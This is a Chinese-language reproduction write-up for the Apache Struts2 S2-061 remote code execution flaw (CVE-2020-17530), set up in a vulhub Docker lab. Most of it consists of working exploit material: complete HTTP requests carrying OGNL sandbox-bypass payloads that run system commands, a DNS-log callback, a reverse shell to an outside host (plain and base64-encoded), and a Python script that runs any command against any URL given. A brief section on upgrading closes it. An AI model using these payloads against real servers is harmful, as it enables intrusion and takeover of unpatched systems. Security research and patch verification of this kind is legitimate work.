Struts2 S2-061漏洞复现(CVE-2020-17530)

0x01 漏洞描述

Struts2 会对某些标签属性(比如 `id`，其他属性有待寻找) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时，用户再传入一个 `%{payload}` 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
漏洞分析可以参考：
https://mp.weixin.qq.com/s/uVybuJpkvGt3HCIbfYv1tw
https://mp.weixin.qq.com/s/ETKf6eofAfGcZ7HZceNUbw

0x02 漏洞影响

struts 2.0.0 - struts 2.5.25

0x03 漏洞复现

一.环境搭建

1.docker环境地址：

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
docker-compose up -d  #启动docker环境

二、漏洞测试

1.测试漏洞是否存在

http://192.168.152.128:8080/?id=%25{+%27test%27+%2b+%28100+%2b+100%29.toString%28%29}

2.执行命令

POST /index.action HTTP/1.1
Host: 192.168.152.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

或者

POST /index.action HTTP/1.1
Host: 192.168.152.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1361

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

3.dnslog

POST /index.action HTTP/1.1
Host: 192.168.152.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 852

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping bxbb.l.dnslog.io")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

3.反弹shell

通过以下在线地址将bash反弹命令进行进行编码转换

http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/1912.168.152.1/2222 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1Mi4xLzE1MjEgMD4mMQ==}|{base64,-d}|{bash,-i}

POST /index.action HTTP/1.1
Host: 192.168.152.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 922

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1Mi4xLzE1MjEgMD4mMQ==}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

4.POC

# encoding=utf-8
import requests
import sys
from lxml import etree

def exp(url,cmd):
    payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
    tturl=url+"/?id="+payload
    r=requests.get(tturl)
    page=r.text
#   etree=html.etree
    page=etree.HTML(page)
    data = page.xpath('//a[@id]/@id')
    print(data[0])

if __name__=='__main__':
    print('+------------------------------------------------------------+')
    print('+ EXP: python struts2-061-poc.py http://8.8.8.8:8080 id      +')
    print('+ VER: Struts 2.0.0-2.5.25                                   +')
    print('+------------------------------------------------------------+')
    print('+ S2-061 RCE && CVE-2020-17530                               +')
    print('+------------------------------------------------------------+')
    if len(sys.argv)!=3:
        print("[+]ussage: http://ip:port command")
        print("[+]============================================================")
        sys.exit()
    url=sys.argv[1]
    cmd=sys.argv[2]
exp(url,cmd)

0x04 漏洞修复

建议广大用户及时更新Apache Struts框架版本：

https://struts.apache.org/download.cgi#struts2526

参考文章：

https://mp.weixin.qq.com/s/uVybuJpkvGt3HCIbfYv1tw

https://mp.weixin.qq.com/s/ETKf6eofAfGcZ7HZceNUbw

https://www.cnblogs.com/backlion/p/14122528.html